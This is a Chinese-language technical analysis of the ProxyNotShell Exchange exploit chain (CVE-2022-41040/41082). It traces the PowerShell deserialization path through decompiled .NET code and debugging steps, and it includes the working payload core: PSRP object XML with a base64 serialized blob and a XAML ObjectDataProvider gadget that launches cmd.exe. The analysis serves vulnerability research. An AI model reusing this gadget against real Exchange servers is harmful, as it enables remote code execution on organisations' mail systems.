Proxy Not Shell 利用链分析

漏洞环境

  • Windows Server 2019
  • Windows Exchange 2019 CU9

漏洞分析

漏洞链包含了两个漏洞:

  • CVE-2022-41040 Exchange 权限提升漏洞
  • CVE-2022-41082 Exchange 远程代码执行漏洞

CVE-2022-41040 是ProxyShell修复不完全的产物,在ProxyShell利用链中无需身份验证就可以通过autodiscover.json请求到/PowerShell接口,在CVE-2022-41040 中,仅需要低权限身份验证就可以请求到该接口,通过SSRF将低权限转换为高权限。

CVE-2022-41082是Exchange的反序列化漏洞,通过传入恶意序列化数据,使得Exchange触发能够造成代码执行的反序列化过程,将指定数据反序列化到恶意类,从而在Exchange服务器上执行任意代码。

在PoC中发送了以下三种类型的PSRP消息

  • 0x00010002 SESSION_CAPABILITY

    SESSION_CAPABILITY 应该是创建RunspacePool

  • 0x00010004 INIT_RUNSPACEPOOL

    INIT_RUNSPACEPOOL 应该是初始化RunspacePool

  • 0x00021006 CREATE_PIPELINE

    创建命令管道并在指定的 RunspacePool 中调用它

PoC通过PSRP协议创建了远程PowerShell管道,并试图在这个管道内执行New-OfflineAddressBook这个cmdlet,并将对应的序列化数据传给了Exchange。

PoC主要组成部分如下所示,BA标签内是base64编码的序列化System.UnitySerializationHolder对象

<Obj N="V" RefId="14">
					<TN RefId="2">
					<T>System.ServiceProcess.ServiceController</T>
						<T>System.Object</T>
					</TN>
					<ToString>System.ServiceProcess.ServiceController</ToString>

					<Props>
						<S N="Name">Type</S>
						<Obj N="TargetTypeForDeserialization">
							<TN RefId="2">
								<T>System.Exception</T>
								<T>System.Object</T>
							</TN>
							<MS>
								<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
							</MS>
						</Obj>
					</Props>

					<S>
                        <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c whoami> c:\users\public\1.txt</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]>
					</S>

			</Obj>

XamlReader.Parse()
BA标签数据
.....ÿÿÿÿ..............System.UnitySerializationHolder.....
Data	UnityType.AssemblyName......... System.Windows.Markup.XamlReader.........
XPresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35.

PoC部分由两个对象嵌套而成,大致结构如下所示:

Obj V(System.ServiceProcess.ServiceController):
		String Name="Type"
		Obj TargetTypeForDeserialization(System.Exception):
				ByteArray SerializationData
		String SerializationData

代码逻辑

代码逻辑如下图

背景 1 Center Gradient 页-1 流程 ReadOneObject ReadOneObject 流程.8 ReadOneDeserializedObject 遍历XML树的标签 ReadOneDeserializedObject遍历XML树的标签 动态连接线 调用读取一个反序列化对象 object obj = this.ReadOneDeserializedObject 调用,读取一个反序列化对象object obj = this.ReadOneDeserializedObject 动态连接线.12 碰到Obj标签调用读取一个Obj对象 if (this.IsNextElement("Obj")){ return thi... 碰到Obj标签,调用,读取一个Obj对象if (this.IsNextElement("Obj")){return this.ReadPSObject();} 流程.11 ReadPSObject 读取一个Obj对象 ReadPSObject读取一个Obj对象 动态连接线.14 碰到Props标签调用读取Props标签 if (this.IsNextElement("Props")){ this.R... 碰到Props标签,调用,读取Props标签if (this.IsNextElement("Props")){this.ReadProperties(psobject);} 流程.13 ReadProperties ReadProperties 动态连接线.16 调用读取嵌套对象 调用,读取嵌套对象 流程.15 ReadOneObject ReadOneObject 动态连接线.20 调用将反序列化数据 转换为目标类型此时目标类型为System.Exception 调用,将反序列化数据转换为目标类型,此时目标类型为System.Exception 流程.19 ConvertTo ConvertTo 动态连接线.22 一系列调用 一系列调用 流程.21 Object.Reader.Deserialize Object.Reader.Deserialize 动态连接线.24 调用解析内存中的序列化数据 调用,解析内存中的序列化数据 流程.23 __BinaryParser.Run __BinaryParser.Run 动态连接线.28 流程.27 将序列化数据解析为System.UnitySerializationHolder对象并载入m_assmblyName对应的... 将序列化数据解析为System.UnitySerializationHolder对象,并载入m_assmblyName对应的DLL 动态连接线.39 流程.38 转化为在m_assmblyName对应的DLL中的m_data对应类型的Type对象 转化为在m_assmblyName对应的DLL中的m_data对应类型的Type对象 动态连接线.41 一系列返回 一系列返回 动态连接线.43 流程.42 将ConverTo返回的Type对象加入.adaptedMembers ConverTo返回的Type对象加入.adaptedMembers 流程.45 GetTargetTypeForDeserialization GetTargetTypeForDeserialization 流程.53 ReadOneDeserializedObject ReadOneDeserializedObject 流程.54 ReadOneObject ReadOneObject 动态连接线.56 动态连接线.57 动态连接线.58 动态连接线.59 调用 调用 动态连接线.61 流程.60 GetPSStandardMember GetPSStandardMember 动态连接线.63 流程.62 读取adaptedMembers的TargetTypeForDeserialization并返回 读取adaptedMembersTargetTypeForDeserialization并返回 动态连接线.66 调用将外层对象序列化数据 调用,将外层对象序列化数据 流程.65 LanguagePrimitives.ConvertTo LanguagePrimitives.ConvertTo 动态连接线.69 流程.68 将S标签内数据转换为XamlReader对象触发代码执行 S标签内数据转换为XamlReader对象,触发代码执行

在Exchange中,允许反序列化的类白名单和类反序列化相关信息定义在exchange.partial.types.ps1xmlexchange.types.ps1xml等文件中,Exchange会读取这些文件,在反序列化数据时,会payload里面的目标类和文件里面的白名单类做对比,只有在白名单内的类才允许反序列化。

PoC由嵌套对象组成,在反序列化嵌套对象时,会先反序列化里层对象,而后反序列化外层对象。在Exchang反序列化PoC的里层对象时,将通过ConvertTo函数转换到目标类,传给ConvertTo的resultType值为System.ExceptionSystem.Exceptionexchange.partial.types.ps1xml中定义如下:

<Type>
    <Name>System.Exception</Name>
    <Members>
      <CodeProperty IsHidden="true">
        <Name>SerializationData</Name>
        <GetCodeReference>
          <TypeName>Microsoft.Exchange.Data.SerializationTypeConverter</TypeName>
          <MethodName>GetSerializationData</MethodName>
        </GetCodeReference>
      </CodeProperty>
    </Members>
    <TypeConverter>
      <TypeName>Microsoft.Exchange.Data.SerializationTypeConverter</TypeName>
    </TypeConverter>
  </Type>
internal static object ConvertTo(object valueToConvert, Type resultType, bool recursion, IFormatProvider formatProvider, TypeTable backupTypeTable)
		{
			object result;
			using (LanguagePrimitives.typeConversion.TraceScope("Converting \"{0}\" to \"{1}\".", valueToConvert, resultType))
			{
				if (resultType == null)
				{
					throw PSTraceSource.NewArgumentNullException("resultType");
				}
				bool flag;
				result = LanguagePrimitives.FigureConversion(valueToConvert, resultType, out flag).Invoke(flag ? PSObject.Base(valueToConvert) : valueToConvert, resultType, recursion, flag ? ((PSObject)valueToConvert) : null, formatProvider, backupTypeTable);
			}
			return result;
		}

其定义了*<TypeName>Microsoft.Exchange.Data.SerializationTypeConverter</TypeName>,Exchange将通过Microsoft.Exchange.Data.SerializationTypeConverter*类对里层序列化数据进行反序列化。Microsoft.Exchange.Data.SerializationTypeConverter经过一系列调用,最终由System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize方法进行反序列化。

在该方法会调用System.Runtime.Serialization.Formatters.Binary.__BinaryParser.Run,这方法会循环读取内存中的里层对象的序列化数据,将其转换为System.UnitySerializationHolder对象。

之后Exchange会通过Assembly.LoadFrom载入*System.UnitySerializationHolder.m_assemblyName所指明的DLL,并且返回System.UnitySerializationHolder.m_data*类型的Type对象。

internal object Deserialize(HeaderHandler handler, __BinaryParser serParser, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage)
		{
			......
			serParser.Run();
			......
			if (!this.bMethodCall && !this.bMethodReturn)
			{
				if (this.TopObject == null)
				{
					throw new SerializationException(Environment.GetResourceString("Serialization_TopObject"));
				}
				if (this.HasSurrogate(this.TopObject.GetType()) && this.topId != 0L)
				{
					this.TopObject = this.m_objectManager.GetObject(this.topId);
				}
				if (this.TopObject is IObjectReference)
				{
					this.TopObject = ((IObjectReference)this.TopObject).GetRealObject(this.m_context);
				}
			}
			if (this.bFullDeserialization)
			{
				this.m_objectManager.RaiseDeserializationEvent();
			}
			if (handler != null)
			{
				this.handlerObject = handler(this.headers);
			}
			if (this.bMethodCall)
			{
				object[] callA = this.TopObject as object[];
				this.TopObject = this.binaryMethodCall.ReadArray(callA, this.handlerObject);
			}
			else if (this.bMethodReturn)
			{
				object[] returnA = this.TopObject as object[];
				this.TopObject = this.binaryMethodReturn.ReadArray(returnA, methodCallMessage, this.handlerObject);
			}
			return this.TopObject;
		}

Untitled

Untitled

在一系列函数调用返回后,System.Management.Automation.InternalDeserializer.ReadProperties会将System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize返回的对象添加到PSObject.adaptedMembers中,需要注意的是该对象变量名为TargetTypeForDeserialization

private void ReadProperties(PSObject dso)
		{
			dso.isDeserialized = true;
			dso.adaptedMembers = new PSMemberInfoInternalCollection<PSPropertyInfo>();
			dso.InstanceMembers.Add(PSObject.dotNetInstanceAdapter.GetDotNetMethod<PSMemberInfo>(dso, "GetType"));
			PSGetMemberBinder.SetHasInstanceMember("GetType");
			dso.clrMembers = new PSMemberInfoInternalCollection<PSPropertyInfo>();
			if (this.ReadStartElementAndHandleEmpty("Props"))
			{
				while (this._reader.NodeType == XmlNodeType.Element)
				{
					string name = this.ReadNameAttribute();
					object serializedValue = this.ReadOneObject();
					PSProperty member = new PSProperty(name, serializedValue);
					dso.adaptedMembers.Add(member);
				}
				this.ReadEndElement();
			}
		}

在反序列化外层对象时,ReadOneObject会调用GetTargetTypeForDeserialization获取反序列化的目标类型,并通过ConvertTo转化为该对象。

GetTargetTypeForDeserialization函数中,将会调用GetPSStandardMember并传入硬编码的TargetTypeForDeserialization,在GetPSStandardMember中会通过TypeTableGetMemberDelegate创建成员集合,其中包括子类的成员属性,而后匹配其中的memberName项对应的值并返回。此时获取的值为XamlReader类型的Type对象。

internal Type GetTargetTypeForDeserialization(TypeTable backupTypeTable)
		{
			PSMemberInfo psstandardMember = this.GetPSStandardMember(backupTypeTable, "TargetTypeForDeserialization");
			if (psstandardMember != null)
			{
				return psstandardMember.Value as Type;
			}
			return null;
		}

internal PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName)
		{
			PSMemberInfo psmemberInfo = null;
			TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();
			if (typeTable != null)
			{
				PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable, "PSStandardMembers");
				if (psmemberSet != null)
				{
					psmemberSet.ReplicateInstance(this);
					psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName];
				}
			}
			if (psmemberInfo == null)
			{
				psmemberInfo = (this.InstanceMembers["PSStandardMembers"] as PSMemberSet);
			}
			return psmemberInfo;
		}

外层类类型定义为System.ServiceProcess.ServiceController,其定义在types.ps1xml文件内,定义如下。

<Type>
    <Name>System.ServiceProcess.ServiceController</Name>
    <Members>
      <MemberSet>
        <Name>PSStandardMembers</Name>
        <Members>
          <PropertySet>
            <Name>DefaultDisplayPropertySet</Name>
            <ReferencedProperties>
              <Name>Status</Name>
              <Name>Name</Name>
              <Name>DisplayName</Name>
            </ReferencedProperties>
          </PropertySet>
        </Members>
      </MemberSet>
      <AliasProperty>
        <Name>Name</Name>
        <ReferencedMemberName>ServiceName</ReferencedMemberName>
      </AliasProperty>
      <AliasProperty>
        <Name>RequiredServices</Name>
        <ReferencedMemberName>ServicesDependedOn</ReferencedMemberName>
      </AliasProperty>
      <ScriptMethod>
        <Name>ToString</Name>
        <Script>
          $this.ServiceName
        </Script>
      </ScriptMethod>
    </Members>
  </Type>

GetPSStandardMember函数会试图获取System.ServiceProcess.ServiceController类的TargetTypeForDeserialization(传入的硬编码参数)属性,但其在文件内没有定义默认的TargetTypeForDeserialization值,所以外层类的members内没有TargetTypeForDeserialization名字的值,Exchange将试图从子类的members属性中检索TargetTypeForDeserialization名字的值,前面说过在对内层对象反序列化时,通过ReadProperties将名为TargetTypeForDeserializationXamlReader类型的Type对象添加到了adaptedMembers中,此时Exchange将会检索到该对象并返回。

获取到targetTypeForDeserialization之后,ReadOneObject调用LanguagePrimitives.ConvertTo将序列化数据转换为targetTypeForDeserialization(XamlReader)

internal object ReadOneObject(out string streamName)
		{
			....
				object obj = this.ReadOneDeserializedObject(out streamName, out flag);
	.....
						Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable);
....
								object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable);
	.....
		}

ConvertTo函数会进行如下调用链,通过反射获取到XamlReader类的Parse方法后,将其调用,成功执行代码。

Untitled

调试

使用dnsPy附加到下面的进程

c:\windows\system32\inetsrv\w3wp.exe -ap
"MSExchangePowerShellAppPool" -v "v4.0" -c
"C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config"
-a \\.\pipe\iisipm319caf0c-5de0-4833-8a04-4b28f4a836ae
-h "C:\inetpub\temp\apppools\MSExchangePowerShellAppPool\MSExchangePowerShellAppPool.config"
-w "" -m 0

在以下几个地方下断点

  • System.Runtime.Serialization.Formatters.Binary
    • ObjectReader.Deserialize

发送PoC,调试器在断点处断下,此时调用栈如下:

Untitled

此时为Exchange试图将Props标签内的序列化数据通过ConvertTo函数转化为System.Exception对象,System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize会通过serParser.Run()解析读入内存中的base64解码数据。

internal object Deserialize(HeaderHandler handler, __BinaryParser serParser, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage)
		{
.....
			serParser.Run();
			if (this.bFullDeserialization)
			{
				this.m_objectManager.DoFixups();
			}
			if (!this.bMethodCall && !this.bMethodReturn)
			{
				if (this.TopObject == null)
				{
					throw new SerializationException(Environment.GetResourceString("Serialization_TopObject"));
				}
				if (this.HasSurrogate(this.TopObject.GetType()) && this.topId != 0L)
				{
					this.TopObject = this.m_objectManager.GetObject(this.topId);
				}
				if (this.TopObject is IObjectReference)
				{
					this.TopObject = ((IObjectReference)this.TopObject).GetRealObject(this.m_context);
				}
			}
			if (this.bFullDeserialization)
			{
				this.m_objectManager.RaiseDeserializationEvent();
			}
			if (handler != null)
			{
				this.handlerObject = handler(this.headers);
			}
			if (this.bMethodCall)
			{
				object[] callA = this.TopObject as object[];
				this.TopObject = this.binaryMethodCall.ReadArray(callA, this.handlerObject);
			}
			else if (this.bMethodReturn)
			{
				object[] returnA = this.TopObject as object[];
				this.TopObject = this.binaryMethodReturn.ReadArray(returnA, methodCallMessage, this.handlerObject);
			}
			return this.TopObject;
		}

serParser.Run()会将内存序列化数据试图转化为System.UnitySerializationHolder 对象,代码如下,通过循环读取各个标志位调用不同方法从内存中读取指定类型的数据。构造出System.UnitySerializationHolder对象并载入System.UnitySerializationHolder.AssemblyName对应的DLL。

internal void Run()
		{
			try
			{
				bool flag = true;
				this.ReadBegin();
				this.ReadSerializationHeaderRecord();
				while (flag)
				{
					BinaryHeaderEnum binaryHeaderEnum = BinaryHeaderEnum.Object;
					BinaryTypeEnum binaryTypeEnum = this.expectedType;
					if (binaryTypeEnum != BinaryTypeEnum.Primitive)
					{
						if (binaryTypeEnum - BinaryTypeEnum.String > 6)
						{
							throw new SerializationException(Environment.GetResourceString("Serialization_TypeExpected"));
						}
						byte b = this.dataReader.ReadByte();
						binaryHeaderEnum = (BinaryHeaderEnum)b;
						switch (binaryHeaderEnum)
						{
						case BinaryHeaderEnum.Object:
							this.ReadObject();
							break;
						case BinaryHeaderEnum.ObjectWithMap:
.....
this.ReadObjectWithMap(binaryHeaderEnum);
							break;
						case BinaryHeaderEnum.ObjectWithMapTyped:
......
							this.ReadObjectWithMapTyped(binaryHeaderEnum);
							break;
						case BinaryHeaderEnum.ObjectString:
......
							this.ReadObjectString(binaryHeaderEnum);
							break;
						case BinaryHea......flag2)
						{
							ObjectProgress objectProgress = (ObjectProgress)this.stack.Peek();
							if (objectProgress == null)
							{
								this.expectedType = BinaryTypeEnum.ObjectUrt;
								this.expectedTypeInformation = null;
								flag2 = true;
							}
							else
							{
								flag2 = objectProgress.GetNext(out objectProgress.expectedType, out objectProgress.expectedTypeInformation);
								this.expectedType = objectProgress.expectedType;
								this.expectedTypeInformation = objectProgress.expectedTypeInformation;
								if (!flag2)
								{
									this.prs.Init();
									if (objectProgress.memberValueEnum == InternalMemberValueE.Nested)
									{
										this.prs.PRparseTypeEnum = InternalParseTypeE.MemberEnd;
										this.prs.PRmemberTypeEnum = objectProgress.memberTypeEnum;
										this.prs.PRmemberValueEnum = objectProgress.memberValueEnum;
										this.objectReader.Parse(this.prs);
									}
									else
									{
										this.prs.PRparseTypeEnum = InternalParseTypeE.ObjectEnd;
										this.prs.PRmemberTypeEnum = objectProgress.memberTypeEnum;
										this.prs.PRmemberValueEnum = objectProgress.memberValueEnum;
										this.objectReader.Parse(this.prs);
									}
									this.stack.Pop();
									this.PutOp(objectProgress);
								}
							}
						}
					}
				}
			}
......
		}

Untitled

将XamlReader读入内存

Untitled

在System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize中将通过

this.TopObject = ((IObjectReference)this.TopObject).GetRealObject(this.m_context);System.UnitySerializationHolder转化为Type类型的XamlReader对象,并通过反射获取了XamlReader类的各个属性。

Untitled

在最后将this.TopObject作为返回值返回,在经过一系列函数调用返回后,可以在调试器看到ConvertTo函数返回了Object类型对象obj2,可以看到其为类型为Type类型的XamlReader对象,之后ReadOneObject返回该对象。

Untitled

注:Type类型是Exchange内定义的抽象类,如下所示:

namespace System
{
	// Token: 0x02000148 RID: 328
	[ClassInterface(ClassInterfaceType.None)]
	[ComDefaultInterface(typeof(_Type))]
	[ComVisible(true)]
	[__DynamicallyInvokable]
	[Serializable]
	public abstract class Type : MemberInfo, _Type, IReflect
	{
		// Token: 0x17000217 RID: 535
		// (get) Token: 0x060013E6 RID: 5094 RVA: 0x0003BE2A File Offset: 0x0003A02A
		public override MemberTypes MemberType
		{
			get
			{
				return MemberTypes.TypeInfo;
			}
		}

(应该可以理解obj2为实现了Type这个抽象类的XamlReader对象,而XamlReader继承了Object这个父类,所以可以使用Object类型对象接受)

在调用栈内,ReadOneObject由ReadProperties调用,回到ReadProperties逻辑中,Exchange会将ReadOneObject返回的的Type类型的XamlReader对象添加到dso.adaptedMembers中,而后这个dso将会返回到调用栈内的ReadOneObject函数。

Untitled

继续调试,此时嵌套对象的内层对象已反序列化,开始反序列化外层对象,回到程序中,从下图可以看到,将会调用psobject.GetTargetTypeForDeserialization获取目标反序列化类型,此时psobject内的adaptedMembers内有名为TargetTypeForDeserialization的对象,其类型为Type的XamlReader对象

Untitled

进入到psobject.GetTargetTypeForDeserialization内,调用this.GetPSStandardMember试图获取PSMemberInfo 对象,而后将其强转为Type对象返回,若失败则返回null

internal Type GetTargetTypeForDeserialization(TypeTable backupTypeTable)
		{
			PSMemberInfo psstandardMember = this.GetPSStandardMember(backupTypeTable, "TargetTypeForDeserialization");
			if (psstandardMember != null)
			{
				return psstandardMember.Value as Type;
			}
			return null;
		}

在GetPSStandardMember函数内,调用PSObject.TypeTableGetMemberDelegate并传入当前对象、允许的类型列表和硬编码PSStandardMembers以初始化PSMemberSet 对象。

internal PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName)
		{
			PSMemberInfo psmemberInfo = null;
			TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();
			if (typeTable != null)
			{
				PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable, "PSStandardMembers");
				if (psmemberSet != null)
				{
					psmemberSet.ReplicateInstance(this);
					psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName];
				}
			}
			if (psmemberInfo == null)
			{
				psmemberInfo = (this.InstanceMembers["PSStandardMembers"] as PSMemberSet);
			}
			return psmemberInfo;
		}

Untitled

而后调用PSMemberInfoIntegratingCollection构造函数,其中PSMemberInfoIntegratingCollection类继承了PSMemberInfo类。传入构造函数的collections变量来源于PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable) 函数的返回值,构造函数将collections赋给当前对象的collections属性。

internal class PSMemberInfoIntegratingCollection<T> : PSMemberInfoCollection<T>, IEnumerable<T>, IEnumerable where T : PSMemberInfo
	{
		// Token: 0x06002AC3 RID: 10947 RVA: 0x000C35F4 File Offset: 0x000C17F4
		private void GenerateAllReservedMembers()
		{
			if (!this.mshOwner.hasGeneratedReservedMembers)
			{
				this.mshOwner.hasGeneratedReservedMembers = true;
				ReservedNameMembers.GeneratePSExtendedMemberSet(this.mshOwner);
				ReservedNameMembers.GeneratePSBaseMemberSet(this.mshOwner);
				ReservedNameMembers.GeneratePSObjectMemberSet(this.mshOwner);
				ReservedNameMembers.GeneratePSAdaptedMemberSet(this.mshOwner);
				ReservedNameMembers.GeneratePSTypeNames(this.mshOwner);
			}
		}

internal PSMemberInfoIntegratingCollection(object owner, Collection<CollectionEntry<T>> collections)
		{
			if (owner == null)
			{
				throw PSTraceSource.NewArgumentNullException("owner");
			}
			this.mshOwner = (owner as PSObject);
			this.memberSetOwner = (owner as PSMemberSet);
			if (this.mshOwner == null && this.memberSetOwner == null)
			{
				throw PSTraceSource.NewArgumentException("owner");
			}
			if (collections == null)
			{
				throw PSTraceSource.NewArgumentNullException("collections");
			}
			this.collections = collections;
		}

Untitled

GetMemberCollection代码如下,其会将对象的adaptedMembers属性添加到列表中,而在内层对象反序列化时已经将名为TargetTypeForDeserialization的XamlReader类型的Type对象加入到adaptedMembers属性中。所以返回的列表内也会包含该对象。

internal static Collection<CollectionEntry<PSMemberInfo>> GetMemberCollection(PSMemberViewTypes viewType, TypeTable backupTypeTable)
		{
			Collection<CollectionEntry<PSMemberInfo>> collection = new Collection<CollectionEntry<PSMemberInfo>>();
			if ((viewType & PSMemberViewTypes.Extended) == PSMemberViewTypes.Extended)
			{
				if (backupTypeTable == null)
				{
					collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.TypeTableGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.TypeTableGetMemberDelegate<PSMemberInfo>), true, true, "type table members"));
				}
				else
				{
					collection.Add(new CollectionEntry<PSMemberInfo>((PSObject msjObj) => PSObject.TypeTableGetMembersDelegate<PSMemberInfo>(msjObj, backupTypeTable), (PSObject msjObj, string name) => PSObject.TypeTableGetMemberDelegate<PSMemberInfo>(msjObj, backupTypeTable, name), true, true, "type table members"));
				}
			}
			if ((viewType & PSMemberViewTypes.Adapted) == PSMemberViewTypes.Adapted)
			{
				**collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.AdapterGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.AdapterGetMemberDelegate<PSMemberInfo>), false, false, "adapted members"));**
			}
			if ((viewType & PSMemberViewTypes.Base) == PSMemberViewTypes.Base)
			{
				collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.DotNetGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.DotNetGetMemberDelegate<PSMemberInfo>), false, false, "clr members"));
			}
			return collection;
		}

private static T AdapterGetMemberDelegate<T>(PSObject msjObj, string name) where T : PSMemberInfo
		{
			if (!msjObj.isDeserialized)
			{
				T t = msjObj.InternalAdapter.BaseGetMember<T>(msjObj.immediateBaseObject, name);
				PSObject.memberResolution.WriteLine("Adapted member: {0}.", (t == null) ? "not found" : t.Name);
				return t;
			}
			if (msjObj.adaptedMembers == null)
			{
				return default(T);
			}
			T t2 = msjObj.adaptedMembers[name] as T;
			PSObject.memberResolution.WriteLine("Serialized adapted member: {0}.", (t2 == null) ? "not found" : t2.Name);
			return t2;
		}

返回到GetPSStandardMember函数中,Exchange会匹配构造函数返回的对象的memberName属性,该属性来源于GetTargetTypeForDeserialization调用时传递的硬编码TargetTypeForDeserialization,即将从该对象中检索名为TargetTypeForDeserialization的值,前面提到过列表内已有该名字的对象,所以将匹配到XamlReader类型的Type对象,并返回给上层函数。

返回到上层函数,GetTargetTypeForDeserialization返回了XamlReader类型。

Untitled

进入到ConvertTo函数内,valueToConvert为上层函数ReadOneObject函数传入的obj对象,其内包含了xaml反序列化的命令执行字符串。

Untitled

进入到LanguagePrimitives.FigureConversion在#3527处断点,此时fromType为String,toType为XamlReader

Untitled

进入FigureParseConversion内,将会通过反射获取到XamlReader的Parse方法。

Untitled

Untitled

private static LanguagePrimitives.PSConverter<object> FigureParseConversion(Type fromType, Type toType)
		{
			.....
			else if (fromType == typeof(string))
			{
				MethodInfo methodInfo = null;
				try
				{
					methodInfo = toType.GetMethod("Parse", BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy, null, new Type[]
					{
						typeof(string),
						typeof(IFormatProvider)
					}, null);
				}
				catch (AmbiguousMatchException ex)
				{
					LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method with CultureInfo: \"{0}\".", ex.Message);
				}
				catch (ArgumentException ex2)
				{
					LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method with CultureInfo: \"{0}\".", ex2.Message);
				}
				if (methodInfo != null)
				{
					return new LanguagePrimitives.PSConverter<object>(new LanguagePrimitives.ConvertViaParseMethod
					{
						parse = methodInfo
					}.ConvertWithCulture);
				}
				try
				{
					methodInfo = toType.GetMethod("Parse", BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy, null, new Type[]
					{
						typeof(string)
					}, null);
				}
				catch (AmbiguousMatchException ex3)
				{
					LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method: \"{0}\".", ex3.Message);
				}
				catch (ArgumentException ex4)
				{
					LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method: \"{0}\".", ex4.Message);
				}
				if (methodInfo != null)
				{
					return new LanguagePrimitives.PSConverter<object>(new LanguagePrimitives.ConvertViaParseMethod
					{
						parse = methodInfo
					}.ConvertWithoutCulture);
				}
			}
			return null;
		}

XamlReader.Parse方法将会由LanguagePrimitives.ConvertViaParseMethod.ConvertWithoutCulture方法调用。之后就是普通的反序列化过程了。

小结

这个漏洞利用链核心是如何绕过Exchange黑名单类并使Exchange将攻击者控制的指定数据反序列化到指定危险类造成代码执行。

漏洞利用了Exchange的合法功能,先构造了名为targetTypeForDeserialization 的XamlReader类型的Type对象序列化值,利用Microsoft.Exchange.Data.SerializationTypeConverter的特性返回了XamlReader类型的Type对象,而后ReadProperties将其加入到adaptedMember内。在外层对象反序列化时,构造的PSMembers包含了名为targetTypeForDeserialization的XamlReader类型的Type对象,Exchange会在PSMembers列表内匹配targetTypeForDeserialization项,从而控制了ConvertTo函数转化的目标类XamlReader,Exchange通过反射获取到了XamlReader的Parse方法,调用该方法反序列化攻击者可控的序列化数据,触发代码执行。

在调试过程中需要将.NET Framework的优化关掉以便dnSpy调试

[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

COMPlus_ZapDisable=1
COMPlus_ReadyToRun=0

其他

PSRP:PowerShell Remote Protocol powerShell远程协议,是微软提供的通过SOAP协议上执行PowerShell代码的协议

参考资料

https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend

https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

Created at 2023-05-05T20:35:49+08:00

创建于:Friday, May 5,2023
最后修改于: Tuesday, January 2,2024